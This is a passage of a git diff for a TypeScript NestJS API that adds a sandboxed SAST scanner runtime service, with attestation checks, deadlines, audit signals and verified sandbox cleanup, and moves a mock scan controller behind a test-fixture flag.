(this.reconciliationInFlight) { + return; + } + this.reconciliationInFlight = true; + void this.reconcileOverdueAttempts() + .catch((error: unknown) => { + this.logger.error( + 'Failed to reconcile overdue SAST sandbox attempts.', + error as Error + ); + }) + .finally(() => { + this.reconciliationInFlight = false; + }); + }, this.config.get('SAST_ATTEMPT_RECONCILIATION_INTERVAL_MS')); + this.timer.unref?.(); + } + + onModuleDestroy(): void { + if (this.timer) { + clearInterval(this.timer); + this.timer = null; + } + } + + reconcileOverdueAttempts(referenceTime = new Date()): Promise { + return this.store.failOverdueAttempts(referenceTime.toISOString()); + } +} diff --git a/apps/api/src/scan-plane/sast-scanner-runtime.service.ts b/apps/api/src/scan-plane/sast-scanner-runtime.service.ts new file mode 100644 index 0000000..45bc730 --- /dev/null +++ b/apps/api/src/scan-plane/sast-scanner-runtime.service.ts @@ -0,0 +1,799 @@ +import { createHash, randomUUID } from 'node:crypto'; + +import { + SAST_SANDBOX_CLEANUP_TIMEOUT_SECONDS, + deriveScannerExecutionStatus, + isSastScannerProcessObservationValid, + isSastScannerWrapperExecutionRequestValid, + type SastScannerExecutionRecord, + type SastScannerInvocation, + type SastScannerProcessObservation, + type SastScannerRuntimeAuditSignal, + type SastScannerRuntimeExecutionResult, + type SastScannerWrapperExecutionRequest, + type SastSignedSandboxCleanupObservation +} from '@aegisai/shared'; +import { Injectable } from '@nestjs/common'; + +import { ControlPlaneService } from '../control-plane/control-plane.service'; +import { SandboxRuntimeAttestationService } from './sandbox-runtime-attestation.service'; +import { + retryableInfrastructureFailure, + SastScannerRuntimeError, + scannerDefect, + securityViolation +} from './scanner-runtime.errors'; +import { ScannerSandboxAdapterService } from './scanner-sandbox-adapter.service'; +import { ScannerSandboxRuntimeProvider } from './scanner-sandbox-runtime.provider'; +import { ScannerWorkspaceManifestService } from './scanner-workspace-manifest.service'; +import { SastScannerRuntimeStore } from './sast-scanner-runtime.store'; + +@Injectable() +export class SastScannerRuntimeService { + constructor( + private readonly controlPlane: ControlPlaneService, + private readonly adapter: ScannerSandboxAdapterService, + private readonly attestation: SandboxRuntimeAttestationService, + private readonly manifestVerifier: ScannerWorkspaceManifestService, + private readonly provider: ScannerSandboxRuntimeProvider, + private readonly store: SastScannerRuntimeStore + ) {} + + async execute( + request: SastScannerWrapperExecutionRequest + ): Promise { + let immutableRequest: SastScannerWrapperExecutionRequest; + try { + immutableRequest = this.deepFreeze(structuredClone(request)); + } catch { + throw securityViolation( + 'SCANNER_EXECUTION_REQUEST_INVALID', + 'Scanner execution request is not serializable.' + ); + } + return this.executeImmutable(immutableRequest); + } + + private async executeImmutable( + request: SastScannerWrapperExecutionRequest + ): Promise { + if (!isSastScannerWrapperExecutionRequestValid(request)) { + throw securityViolation( + 'SCANNER_EXECUTION_REQUEST_INVALID', + 'Scanner execution request is not bound to an approved plan.' + ); + } + + await this.assertControlPlaneScope(request); + const policy = this.adapter.buildPolicy(request.plan); + if ( + !this.attestation.verify(request.sandboxAttestation, { + plan: request.plan, + attemptId: request.attemptId, + attemptNumber: request.attemptNumber, + sandboxId: request.sandboxId, + workloadIdentityRef: request.workloadIdentityRef, + policy + }) + ) { + throw securityViolation( + 'SANDBOX_ATTESTATION_INVALID', + 'Sandbox runtime attestation is invalid, expired, or plan-mismatched.' + ); + } + + const startedAt = new Date().toISOString(); + const attemptDeadlineAt = + request.sandboxAttestation.claims.attemptDeadlineAt; + await this.store.beginAttempt(request, startedAt); + + const auditSignals: SastScannerRuntimeAuditSignal[] = []; + const scannerRuns: SastScannerExecutionRecord[] = []; + let runtimeFailure: SastScannerRuntimeError | undefined; + let cleanupFailure: SastScannerRuntimeError | undefined; + let cleanup: SastSignedSandboxCleanupObservation | undefined; + let activeInvocation: SastScannerInvocation | undefined; + let activeScannerRunId: string | undefined; + let activeScannerTerminalAuditRecorded = false; + + try { + if (!(await this.store.isCredentialHandoffTerminal(request))) { + throw securityViolation( + 'CREDENTIAL_HANDOFF_NOT_TERMINAL', + 'Repository credential handoff must be wiped or revoked before a scanner starts.' + ); + } + await this.emitAudit( + request, + auditSignals, + 'sandbox.ready', + { stage: 'VALIDATING', attemptDeadlineAt } + ); + const invocations = this.adapter.buildInvocations(request); + await this.store.markStage(request, 'SCANNING'); + + for (const invocation of invocations) { + activeInvocation = invocation; + activeScannerTerminalAuditRecorded = false; + const controller = new AbortController(); + const operation = { + request, + invocation, + attemptDeadlineAt, + signal: controller.signal + }; + const manifest = await this.runBeforeDeadline( + attemptDeadlineAt, + controller, + () => this.provider.readRepositoryManifest(operation), + invocation.scanner + ); + this.manifestVerifier.verify(request, invocation, manifest); + activeScannerRunId = `scanner_run_${randomUUID()}`; + + await this.emitAudit( + request, + auditSignals, + 'scanner.started', + { + scanner: invocation.scanner, + scannerImageDigest: invocation.scannerImageDigest, + wrapperDigest: invocation.wrapperDigest + }, + { + scanner: invocation.scanner, + scannerRunId: activeScannerRunId + } + ); + + const providerObservation = await this.runBeforeDeadline( + attemptDeadlineAt, + controller, + () => this.provider.executeScanner(operation), + invocation.scanner + ); + const observation = this.sanitizeObservation(providerObservation); + const observationStartedAt = Date.parse(observation.startedAt); + const observationCompletedAt = Date.parse(observation.completedAt); + const maximumObservedTime = Date.now() + 5_000; + if ( + !this.hasExactObservationShape(providerObservation) || + !isSastScannerProcessObservationValid( + observation, + invocation, + request.plan + ) || + observationStartedAt < Date.parse(manifest.observedAt) || + observationStartedAt > maximumObservedTime || + observationCompletedAt > maximumObservedTime + ) { + throw this.observationFailure( + invocation.scanner, + providerObservation, + invocation + ); + } + + const status = deriveScannerExecutionStatus(observation); + const record: SastScannerExecutionRecord = { + scannerRunId: activeScannerRunId, + attemptId: request.attemptId, + invocation, + status, + observation + }; + await this.store.recordScannerRun(request, record); + scannerRuns.push(record); + + await this.emitAudit( + request, + auditSignals, + status === 'SUCCEEDED' + ? 'scanner.completed' + : 'scanner.failed', + { + scanner: invocation.scanner, + status, + exitCode: observation.exitCode, + timedOut: observation.timedOut, + outputLimitExceeded: observation.outputLimitExceeded, + artifactDigest: observation.artifact?.contentDigest + }, + { + scanner: invocation.scanner, + scannerRunId: record.scannerRunId, + executionStatus: status, + reasonCode: + status === 'SUCCEEDED' + ? undefined + : this.scannerFailureReason(status) + } + ); + activeScannerTerminalAuditRecorded = true; + + if (status !== 'SUCCEEDED') { + throw this.scannerExecutionFailure(status, invocation.scanner); + } + activeInvocation = undefined; + activeScannerRunId = undefined; + } + } catch (error) { + runtimeFailure = this.normalizeFailure(error); + if (activeInvocation && !activeScannerTerminalAuditRecorded) { + try { + await this.emitAudit( + request, + auditSignals, + 'scanner.failed', + { + scanner: activeInvocation.scanner, + reasonCode: runtimeFailure.reasonCode + }, + { + scanner: activeInvocation.scanner, + scannerRunId: activeScannerRunId, + reasonCode: runtimeFailure.reasonCode + } + ); + } catch { + runtimeFailure = retryableInfrastructureFailure( + 'SCANNER_AUDIT_PERSISTENCE_FAILED', + 'Scanner failure audit signal could not be persisted.' + ); + } + } + } + + try { + await this.store.markStage(request, 'CLEANUP_PENDING'); + await this.emitAudit( + request, + auditSignals, + 'sandbox.cleanup_pending', + { + scannerRunCount: scannerRuns.length, + runtimeFailure: runtimeFailure?.reasonCode + }, + { + reasonCode: runtimeFailure?.reasonCode + } + ); + } catch (error) { + runtimeFailure ??= this.normalizeFailure(error); + } + + try { + const cleanupController = new AbortController(); + const cleanupDeadlineAt = new Date( + Date.now() + SAST_SANDBOX_CLEANUP_TIMEOUT_SECONDS * 1_000 + ).toISOString(); + const providerCleanup = await this.runCleanupBeforeDeadline( + cleanupDeadlineAt, + cleanupController, + () => + this.provider.cleanup({ + request, + cleanupDeadlineAt, + signal: cleanupController.signal + }) + ); + cleanup = this.sanitizeCleanup(providerCleanup); + const cleanupValid = + this.hasExactCleanupShape(providerCleanup) && + Date.parse(cleanup.observation.completedAt) >= + Date.parse(startedAt) && + this.attestation.verifyCleanup(cleanup, { + tenantId: request.plan.tenantId, + repositoryBindingId: + request.plan.repositoryState.repositoryBindingId, + scanRequestId: request.plan.scanRequestId, + attemptId: request.attemptId, + sandboxId: request.sandboxId, + workloadIdentityRef: request.workloadIdentityRef + }); + const credentialCleanupDurable = + cleanupValid && + (await this.store.isCredentialHandoffTerminal(request)); + + if (!cleanupValid || !credentialCleanupDurable) { + cleanupFailure = securityViolation( + cleanupValid + ? 'CREDENTIAL_CLEANUP_NOT_DURABLE' + : 'SANDBOX_CLEANUP_EVIDENCE_INVALID', + cleanupValid + ? 'Durable credential cleanup evidence is missing.' + : 'Sandbox destruction evidence is missing, incomplete, or invalid.' + ); + } + } catch (error) { + cleanupFailure = + error instanceof SastScannerRuntimeError + ? error + : securityViolation( + 'SANDBOX_CLEANUP_EVIDENCE_MISSING', + 'Sandbox cleanup did not return verifiable destruction evidence.' + ); + } + + const terminalFailure = cleanupFailure ?? runtimeFailure; + const terminalEventType = cleanupFailure + ? 'sandbox.cleanup_failed' + : 'sandbox.terminated'; + const terminalStage = cleanupFailure + ? 'CLEANUP_FAILED' + : runtimeFailure + ? 'FAILED' + : 'COMPLETED'; + const completedAt = new Date().toISOString(); + const terminalSignal = await this.emitAudit( + request, + auditSignals, + terminalEventType, + { + stage: terminalStage, + scannerRunCount: scannerRuns.length, + cleanupDigest: cleanup?.signature, + failureClass: terminalFailure?.failureClass, + reasonCode: terminalFailure?.reasonCode + }, + { + reasonCode: terminalFailure?.reasonCode + }, + completedAt + ); + + await this.store.finishAttempt({ + request, + stage: terminalStage, + failureClass: terminalFailure?.failureClass, + reasonCode: terminalFailure?.reasonCode, + retryEligible: + !cleanupFailure && + runtimeFailure?.retryAllowed === true && + request.attemptNumber < 2, + cleanup, + finalAuditEventId: terminalSignal.eventId, + completedAt + }); + + if (terminalFailure) { + throw terminalFailure; + } + if (!cleanup) { + throw securityViolation( + 'SANDBOX_CLEANUP_EVIDENCE_MISSING', + 'Completed attempt is missing sandbox cleanup evidence.' + ); + } + + return { + tenantId: request.plan.tenantId, + repositoryBindingId: + request.plan.repositoryState.repositoryBindingId, + scanRequestId: request.plan.scanRequestId, + attemptId: request.attemptId, + attemptNumber: request.attemptNumber, + sandboxId: request.sandboxId, + workloadIdentityRef: request.workloadIdentityRef, + stage: 'COMPLETED', + scannerRuns, + cleanup, + auditSignals + }; + } + + private async assertControlPlaneScope( + request: SastScannerWrapperExecutionRequest + ): Promise { + const scanRequest = await this.controlPlane.getScanRequest( + request.plan.tenantId, + request.plan.scanRequestId + ); + const expectedIsolationClass = + scanRequest.isolationClass === 'RESTRICTED' + ? 'RESTRICTED' + : 'HARDENED'; + if ( + scanRequest.repositoryBindingId !== + request.plan.repositoryState.repositoryBindingId || + scanRequest.commitSha.toLowerCase() !== + request.plan.repositoryState.fixedCommitSha.toLowerCase() || + scanRequest.scannerSetVersion !== + request.plan.scannerSet.scannerSetVersion || + scanRequest.policyVersion !== request.plan.policyVersion || + expectedIsolationClass !== request.plan.isolationClass || + scanRequest.status !== 'RUNNING' + ) { + throw securityViolation( + 'CONTROL_PLANE_SCAN_SCOPE_MISMATCH', + 'Runtime request does not match the running control-plane scan.' + ); + } + } + + private async emitAudit( + request: SastScannerWrapperExecutionRequest, + auditSignals: SastScannerRuntimeAuditSignal[], + eventType: SastScannerRuntimeAuditSignal['eventType'], + metadata: Readonly>, + optional: Pick< + SastScannerRuntimeAuditSignal, + | 'scanner' + | 'scannerRunId' + | 'executionStatus' + | 'reasonCode' + > = {}, + occurredAt = new Date().toISOString() + ): Promise { + const signal: SastScannerRuntimeAuditSignal = { + eventId: `audit_${randomUUID()}`, + eventType, + tenantId: request.plan.tenantId, + repositoryBindingId: + request.plan.repositoryState.repositoryBindingId, + scanRequestId: request.plan.scanRequestId, + attemptId: request.attemptId, + sandboxId: request.sandboxId, + workloadIdentityRef: request.workloadIdentityRef, + ...optional, + occurredAt, + metadataDigest: this.digest(metadata) + }; + await this.store.recordAuditSignal(signal); + auditSignals.push(signal); + return signal; + } + + private sanitizeObservation( + observation: SastScannerProcessObservation + ): SastScannerProcessObservation { + return { + scanner: observation?.scanner, + scannerVersion: observation?.scannerVersion, + scannerImageDigest: observation?.scannerImageDigest, + wrapperDigest: observation?.wrapperDigest, + ruleBundleDigest: observation?.ruleBundleDigest, + vulnerabilityDatabaseDigest: + observation?.vulnerabilityDatabaseDigest, + scannerWorkspaceInventoryDigest: + observation?.scannerWorkspaceInventoryDigest, + exitCode: observation?.exitCode, + terminationSignal: observation?.terminationSignal, + timedOut: observation?.timedOut, + outputLimitExceeded: observation?.outputLimitExceeded, + startedAt: observation?.startedAt, + completedAt: observation?.completedAt, + stdout: observation?.stdout + ? { + byteSize: observation.stdout.byteSize, + contentDigest: observation.stdout.contentDigest, + truncated: observation.stdout.truncated, + secretRedactionApplied: + observation.stdout.secretRedactionApplied + } + : observation?.stdout, + stderr: observation?.stderr + ? { + byteSize: observation.stderr.byteSize, + contentDigest: observation.stderr.contentDigest, + truncated: observation.stderr.truncated, + secretRedactionApplied: + observation.stderr.secretRedactionApplied + } + : observation?.stderr, + resources: observation?.resources + ? { + cpuTimeMilliseconds: + observation.resources.cpuTimeMilliseconds, + peakMemoryBytes: observation.resources.peakMemoryBytes, + bytesRead: observation.resources.bytesRead, + bytesWritten: observation.resources.bytesWritten, + peakProcessCount: + observation.resources.peakProcessCount, + peakFileDescriptorCount: + observation.resources.peakFileDescriptorCount + } + : observation?.resources, + artifact: observation?.artifact + ? { + artifactRef: observation.artifact.artifactRef, + contentDigest: observation.artifact.contentDigest, + byteSize: observation.artifact.byteSize, + recordCount: observation.artifact.recordCount, + truncated: observation.artifact.truncated + } + : undefined + }; + } + + private sanitizeCleanup( + signed: SastSignedSandboxCleanupObservation + ): SastSignedSandboxCleanupObservation { + const observation = signed?.observation; + return { + observation: { + tenantId: observation?.tenantId, + repositoryBindingId: observation?.repositoryBindingId, + scanRequestId: observation?.scanRequestId, + attemptId: observation?.attemptId, + sandboxId: observation?.sandboxId, + workloadIdentityRef: observation?.workloadIdentityRef, + credentialRevokedAndWiped: + observation?.credentialRevokedAndWiped, + scannerProcessesTerminated: + observation?.scannerProcessesTerminated, + writableVolumesDestroyed: + observation?.writableVolumesDestroyed, + microVmTerminated: observation?.microVmTerminated, + resultIngressClosed: observation?.resultIngressClosed, + completedAt: observation?.completedAt, + nonce: observation?.nonce + }, + signature: signed?.signature + }; + } + + private hasExactObservationShape( + observation: SastScannerProcessObservation + ): boolean { + const topLevel = [ + 'artifact', + 'completedAt', + 'exitCode', + 'outputLimitExceeded', + 'resources', + 'ruleBundleDigest', + 'scanner', + 'scannerImageDigest', + 'scannerVersion', + 'scannerWorkspaceInventoryDigest', + 'startedAt', + 'stderr', + 'stdout', + 'terminationSignal', + 'timedOut', + 'vulnerabilityDatabaseDigest', + 'wrapperDigest' + ]; + return ( + this.hasOnlyKeys(observation, topLevel) && + this.hasOnlyKeys(observation?.stdout, [ + 'byteSize', + 'contentDigest', + 'secretRedactionApplied', + 'truncated' + ]) && + this.hasOnlyKeys(observation?.stderr, [ + 'byteSize', + 'contentDigest', + 'secretRedactionApplied', + 'truncated' + ]) && + this.hasOnlyKeys(observation?.resources, [ + 'bytesRead', + 'bytesWritten', + 'cpuTimeMilliseconds', + 'peakFileDescriptorCount', + 'peakMemoryBytes', + 'peakProcessCount' + ]) && + (observation?.artifact === undefined || + this.hasOnlyKeys(observation.artifact, [ + 'artifactRef', + 'byteSize', + 'contentDigest', + 'recordCount', + 'truncated' + ])) + ); + } + + private hasExactCleanupShape( + signed: SastSignedSandboxCleanupObservation + ): boolean { + return ( + this.hasOnlyKeys(signed, ['observation', 'signature']) && + this.hasOnlyKeys(signed?.observation, [ + 'completedAt', + 'credentialRevokedAndWiped', + 'microVmTerminated', + 'nonce', + 'repositoryBindingId', + 'resultIngressClosed', + 'sandboxId', + 'scanRequestId', + 'scannerProcessesTerminated', + 'tenantId', + 'attemptId', + 'workloadIdentityRef', + 'writableVolumesDestroyed' + ]) + ); + } + + private hasOnlyKeys( + value: unknown, + allowedKeys: readonly string[] + ): boolean { + if (!value || typeof value !== 'object' || Array.isArray(value)) { + return false; + } + const allowed = new Set(allowedKeys); + return Object.keys(value).every((key) => allowed.has(key)); + } + + private observationFailure( + scanner: string, + observation: SastScannerProcessObservation, + invocation: SastScannerExecutionRecord['invocation'] + ): SastScannerRuntimeError { + if ( + observation?.scanner !== invocation.scanner || + observation?.scannerImageDigest !== + invocation.scannerImageDigest || + observation?.wrapperDigest !== invocation.wrapperDigest || + observation?.ruleBundleDigest !== + invocation.ruleBundleDigest || + observation?.vulnerabilityDatabaseDigest !== + invocation.vulnerabilityDatabaseDigest || + observation?.scannerWorkspaceInventoryDigest !== + invocation.preflightInventoryDigest + ) { + return securityViolation( + 'SCANNER_RUNTIME_DIGEST_MISMATCH', + `${scanner} returned runtime identity or workspace digest metadata that does not match the plan.` + ); + } + return scannerDefect( + 'SCANNER_RUNTIME_OBSERVATION_INVALID', + `${scanner} returned malformed or unbounded execution metadata.` + ); + } + + private scannerExecutionFailure( + status: SastScannerExecutionRecord['status'], + scanner: string + ): SastScannerRuntimeError { + if (status === 'QUARANTINED') { + return securityViolation( + 'SCANNER_OUTPUT_LIMIT_EXCEEDED', + `${scanner} exceeded the approved bounded output policy.` + ); + } + return scannerDefect( + this.scannerFailureReason(status), + `${scanner} did not produce a successful approved artifact.` + ); + } + + private scannerFailureReason( + status: SastScannerExecutionRecord['status'] + ): string { + if (status === 'TIMED_OUT') { + return 'SCANNER_TIMEOUT'; + } + if (status === 'QUARANTINED') { + return 'SCANNER_OUTPUT_LIMIT_EXCEEDED'; + } + return 'SCANNER_NONZERO_EXIT'; + } + + private normalizeFailure(error: unknown): SastScannerRuntimeError { + if (error instanceof SastScannerRuntimeError) { + return error; + } + return retryableInfrastructureFailure( + 'SCANNER_RUNTIME_PROVIDER_FAILURE', + 'Scanner runtime provider failed before returning bounded metadata.' + ); + } + + private async runBeforeDeadline( + deadlineAt: string, + controller: AbortController, + operation: () => Promise, + scanner: string + ): Promise { + return this.runWithDeadline( + deadlineAt, + controller, + operation, + () => + scannerDefect( + 'SCANNER_TIMEOUT', + `${scanner} exceeded the signed attempt wall-clock deadline.` + ) + ); + } + + private async runCleanupBeforeDeadline( + deadlineAt: string, + controller: AbortController, + operation: () => Promise + ): Promise { + return this.runWithDeadline( + deadlineAt, + controller, + operation, + () => + securityViolation( + 'SANDBOX_CLEANUP_TIMEOUT', + 'Sandbox cleanup exceeded the bounded destruction deadline.' + ) + ); + } + + private async runWithDeadline( + deadlineAt: string, + controller: AbortController, + operation: () => Promise, + timeoutFailure: () => SastScannerRuntimeError + ): Promise { + const deadline = Date.parse(deadlineAt); + const remainingMilliseconds = deadline - Date.now(); + if (!Number.isFinite(deadline) || remainingMilliseconds <= 0) { + controller.abort(); + throw timeoutFailure(); + } + + let timer: NodeJS.Timeout | undefined; + const timeout = new Promise((_resolve, reject) => { + timer = setTimeout(() => { + controller.abort(); + reject(timeoutFailure()); + }, remainingMilliseconds); + }); + + try { + const result = await Promise.race([ + Promise.resolve().then(operation), + timeout + ]); + if (Date.now() > deadline) { + controller.abort(); + throw timeoutFailure(); + } + return result; + } finally { + if (timer) { + clearTimeout(timer); + } + } + } + + private digest( + value: Readonly> + ): `sha256:${string}` { + return `sha256:${createHash('sha256') + .update(this.canonical(value), 'utf8') + .digest('hex')}`; + } + + private canonical(value: unknown): string { + if (value === null || typeof value !== 'object') { + return JSON.stringify(value); + } + if (Array.isArray(value)) { + return `[${value.map((item) => this.canonical(item)).join(',')}]`; + } + const record = value as Record; + return `{${Object.keys(record) + .sort() + .filter((key) => record[key] !== undefined) + .map( + (key) => + `${JSON.stringify(key)}:${this.canonical(record[key])}` + ) + .join(',')}}`; + } + + private deepFreeze(value: T): T { + if (value && typeof value === 'object' && !Object.isFrozen(value)) { + for (const nested of Object.values(value)) { + this.deepFreeze(nested); + } + Object.freeze(value); + } + return value; + } +} diff --git a/apps/api/src/scan-plane/sast-scanner-runtime.store.ts b/apps/api/src/scan-plane/sast-scanner-runtime.store.ts new file mode 100644 index 0000000..9438078 --- /dev/null +++ b/apps/api/src/scan-plane/sast-scanner-runtime.store.ts @@ -0,0 +1,61 @@ +import type { + SastFailureClass, + SastScannerExecutionRecord, + SastScannerRuntimeAuditSignal, + SastScannerWrapperExecutionRequest, + SastSignedSandboxCleanupObservation +} from '@aegisai/shared'; + +export type PersistedSastAttemptStage = + | 'VALIDATING' + | 'SCANNING' + | 'CLEANUP_PENDING' + | 'COMPLETED' + | 'FAILED' + | 'CLEANUP_FAILED'; + +export interface FinishSastAttemptInput { + request: Readonly; + stage: Extract< + PersistedSastAttemptStage, + 'COMPLETED' | 'FAILED' | 'CLEANUP_FAILED' + >; + failureClass?: SastFailureClass; + reasonCode?: string; + retryEligible: boolean; + cleanup?: Readonly; + finalAuditEventId: string; + completedAt: string; +} + +export abstract class SastScannerRuntimeStore { + abstract beginAttempt( + request: Readonly, + startedAt: string + ): Promise; + + abstract markStage( + request: Readonly, + stage: Extract< + PersistedSastAttemptStage, + 'SCANNING' | 'CLEANUP_PENDING' + > + ): Promise; + + abstract recordScannerRun( + request: Readonly, + record: Readonly + ): Promise; + + abstract recordAuditSignal( + signal: Readonly + ): Promise; + + abstract isCredentialHandoffTerminal( + request: Readonly + ): Promise; + + abstract failOverdueAttempts(referenceTime: string): Promise; + + abstract finishAttempt(input: FinishSastAttemptInput): Promise; +} diff --git a/apps/api/src/scan-plane/scan-plane-mock.controller.ts b/apps/api/src/scan-plane/scan-plane-mock.controller.ts new file mode 100644 index 0000000..c8362bb --- /dev/null +++ b/apps/api/src/scan-plane/scan-plane-mock.controller.ts @@ -0,0 +1,16 @@ +import { Body, Controller, Post, UseGuards } from '@nestjs/common'; + +import { InternalServiceGuard } from '../common/security/internal-service.guard'; +import { RunMockScanPlaneDto } from './scan-plane.dto'; +import { ScanPlaneService } from './scan-plane.service'; + +@Controller('scan-plane') +export class ScanPlaneMockController { + constructor(private readonly scanPlaneService: ScanPlaneService) {} + + @Post('mock-runs') + @UseGuards(InternalServiceGuard) + runMockPipeline(@Body() body: RunMockScanPlaneDto) { + return this.scanPlaneService.runMockPipeline(body); + } +} diff --git a/apps/api/src/scan-plane/scan-plane.controller.ts b/apps/api/src/scan-plane/scan-plane.controller.ts index 6a1ce6b..dce22e9 100644 --- a/apps/api/src/scan-plane/scan-plane.controller.ts +++ b/apps/api/src/scan-plane/scan-plane.controller.ts @@ -3,19 +3,13 @@ import { Body, Controller, Get, Post, Query, UseGuards } from '@nestjs/common'; import { CurrentTenant } from '../auth/decorators/current-tenant.decorator'; import { SessionAuthGuard } from '../auth/guards/session-auth.guard'; import { InternalServiceGuard } from '../common/security/internal-service.guard'; -import { RunMockScanPlaneDto, RunSandboxScannersDto, ScanArtifactsQueryDto } from './scan-plane.dto'; +import { RunSandboxScannersDto, ScanArtifactsQueryDto } from './scan-plane.dto'; import { ScanPlaneService } from "./scan-plane.service"; @Controller("scan-plane") export class ScanPlaneController { constructor(private readonly scanPlaneService: ScanPlaneService) {} - @Post("mock-runs") - @UseGuards(InternalServiceGuard) - runMockPipeline(@Body() body: RunMockScanPlaneDto) { - return this.scanPlaneService.runMockPipeline(body); - } - @Post("scanner-runs/execute") @UseGuards(InternalServiceGuard) runSandboxScanners(@Body() body: RunSandboxScannersDto) { diff --git a/apps/api/src/scan-plane/scan-plane.dto.ts b/apps/api/src/scan-plane/scan-plane.dto.ts index 17764b4..95a4878 100644 --- a/apps/api/src/scan-plane/scan-plane.dto.ts +++ b/apps/api/src/scan-plane/scan-plane.dto.ts @@ -1,4 +1,18 @@ -import { IsBoolean, IsIn, IsInt, IsOptional, IsString, Matches, Max, Min } from 'class-validator'; +import type { + SastSandboxRuntimeAttestation, + SastScannerPreflightBinding, + SastScanPlan +} from '@aegisai/shared'; +import { + IsBoolean, + IsInt, + IsObject, + IsOptional, + IsString, + Matches, + Max, + Min +} from 'class-validator'; const RESOURCE_ID = /^[A-Za-z0-9][A-Za-z0-9._:/-]{0,255}$/; const VERSION_ID = /^[A-Za-z0-9][A-Za-z0-9._-]{0,127}$/; @@ -17,18 +31,32 @@ export class RunMockScanPlaneDto { scannerSetVersion!: string; } -export class RunSandboxScannersDto extends RunMockScanPlaneDto { +export class RunSandboxScannersDto { + @IsObject() + plan!: SastScanPlan; + @IsString() @Matches(RESOURCE_ID) - workspaceRef!: string; - - @IsIn(['STANDARD', 'HARDENED', 'RESTRICTED']) - isolationClass!: 'STANDARD' | 'HARDENED' | 'RESTRICTED'; + attemptId!: string; @IsInt() @Min(1) - @Max(3600) - timeoutSeconds!: number; + @Max(2) + attemptNumber!: number; + + @IsString() + @Matches(RESOURCE_ID) + sandboxId!: string; + + @IsString() + @Matches(RESOURCE_ID) + workloadIdentityRef!: string; + + @IsObject() + preflight!: SastScannerPreflightBinding; + + @IsObject() + sandboxAttestation!: SastSandboxRuntimeAttestation; } export class ScanArtifactsQueryDto { diff --git a/apps/api/src/scan-plane/scan-plane.module.ts b/apps/api/src/scan-plane/scan-plane.module.ts index c092706..a421a8e 100644 --- a/apps/api/src/scan-plane/scan-plane.module.ts +++ b/apps/api/src/scan-plane/scan-plane.module.ts @@ -1,12 +1,26 @@ import { Module } from "@nestjs/common"; +import { isMockAnalysisFixtureEnabled } from '../client/analysis/analysis-fixture.policy'; import { EvidenceController } from "./evidence.controller"; import { EvidenceExpiryTask } from "./evidence-expiry.task"; import { EvidenceObjectStorageService } from "./evidence-object-storage.service"; import { FindingsController } from "./findings.controller"; import { ScanPlaneController } from "./scan-plane.controller"; +import { ScanPlaneMockController } from './scan-plane-mock.controller'; import { ScanPlaneService } from "./scan-plane.service"; import { ScannerSandboxAdapterService } from "./scanner-sandbox-adapter.service"; +import { + ScannerSandboxRuntimeProvider, + UnavailableScannerSandboxRuntimeProvider +} from './scanner-sandbox-runtime.provider'; +import { ScannerWorkspaceManifestService } from './scanner-workspace-manifest.service'; +import { SandboxRuntimeAttestationService } from './sandbox-runtime-attestation.service'; +import { SastScannerRuntimeService } from './sast-scanner-runtime.service'; +import { + PrismaSastScannerRuntimeStore +} from './prisma-sast-scanner-runtime.store'; +import { SastScannerRuntimeStore } from './sast-scanner-runtime.store'; +import { SastAttemptReconciliationTask } from './sast-attempt-reconciliation.task'; import { ConfigModule } from "../config/config.module"; import { ControlPlaneModule } from '../control-plane/control-plane.module'; import { TokenBrokerModule } from '../token-broker/token-broker.module'; @@ -24,10 +38,29 @@ import { @Module({ imports: [ConfigModule, ControlPlaneModule, TokenBrokerModule], - controllers: [ScanPlaneController, FindingsController, EvidenceController], + controllers: [ + ScanPlaneController, + FindingsController, + EvidenceController, + ...(isMockAnalysisFixtureEnabled() ? [ScanPlaneMockController] : []) + ], providers: [ ScanPlaneService, ScannerSandboxAdapterService, + SandboxRuntimeAttestationService, + ScannerWorkspaceManifestService, + SastScannerRuntimeService, + UnavailableScannerSandboxRuntimeProvider, + { + provide: ScannerSandboxRuntimeProvider, + useExisting: UnavailableScannerSandboxRuntimeProvider + }, + PrismaSastScannerRuntimeStore, + { + provide: SastScannerRuntimeStore, + useExisting: PrismaSastScannerRuntimeStore + }, + SastAttemptReconciliationTask, RepositoryFetchService, RepositoryPreflightService, RepositoryPreflightAttestationService, @@ -44,6 +77,11 @@ import { EvidenceObjectStorageService, EvidenceExpiryTask ], - exports: [RepositoryFetchService, RepositoryPreflightService] + exports: [ + RepositoryFetchService, + RepositoryPreflightService, + SandboxRuntimeAttestationService, + SastScannerRuntimeService + ] }) export class ScanPlaneModule {} diff --git a/apps/api/src/scan-plane/scan-plane.service.ts b/apps/api/src/scan-plane/scan-plane.service.ts index fa59d23..aa58e7b 100644 --- a/apps/api/src/scan-plane/scan-plane.service.ts +++ b/apps/api/src/scan-plane/scan-plane.service.ts @@ -1,14 +1,20 @@ import { BadRequestException, GoneException, Injectable, NotFoundException } from '@nestjs/common'; import { randomUUID } from 'node:crypto'; -import { createEvidencePackMetadata, MAX_EVIDENCE_TTL_MS } from '@aegisai/shared'; +import { + createEvidencePackMetadata, + MAX_EVIDENCE_TTL_MS, + type SastScannerRuntimeExecutionResult, + type SastScannerWrapperExecutionRequest +} from '@aegisai/shared'; import { ControlPlaneService } from '../control-plane/control-plane.service'; +import { isMockAnalysisFixtureEnabled } from '../client/analysis/analysis-fixture.policy'; +import { PrismaService } from '../prisma/prisma.service'; import type { DeterministicScannerKind, MockScanPlaneRunResult, RunMockScanPlaneInput, - RunSandboxScannersInput, - SandboxScannerExecutionResult + ScannerRunView, } from "./scan-plane.types"; import type { EvidenceAccessRequest, @@ -17,7 +23,7 @@ import type { ScannerRun } from '@aegisai/shared'; import { EvidenceObjectStorageService } from "./evidence-object-storage.service"; -import { ScannerSandboxAdapterService } from "./scanner-sandbox-adapter.service"; +import { SastScannerRuntimeService } from './sast-scanner-runtime.service'; @Injectable() export class ScanPlaneService { @@ -25,15 +31,18 @@ export class ScanPlaneService { private readonly findings: NormalizedFinding[] = []; private readonly evidencePacks: EvidencePack[] = []; private readonly completedPipelines = new Map(); - private readonly completedSandboxRuns = new Map(); constructor( - private readonly scannerSandboxAdapter: ScannerSandboxAdapterService, + private readonly sastScannerRuntime: SastScannerRuntimeService, private readonly evidenceObjectStorage: EvidenceObjectStorageService, - private readonly controlPlaneService: ControlPlaneService + private readonly controlPlaneService: ControlPlaneService, + private readonly prisma: PrismaService ) {} async runMockPipeline(input: RunMockScanPlaneInput): Promise { + if (!isMockAnalysisFixtureEnabled()) { + throw new NotFoundException('Mock scan pipeline is a test-only fixture.'); + } await this.assertScanScope(input); const pipelineKey = `mock:${input.tenantId}:${input.scanRequestId}:${input.scannerSetVersion}`; const 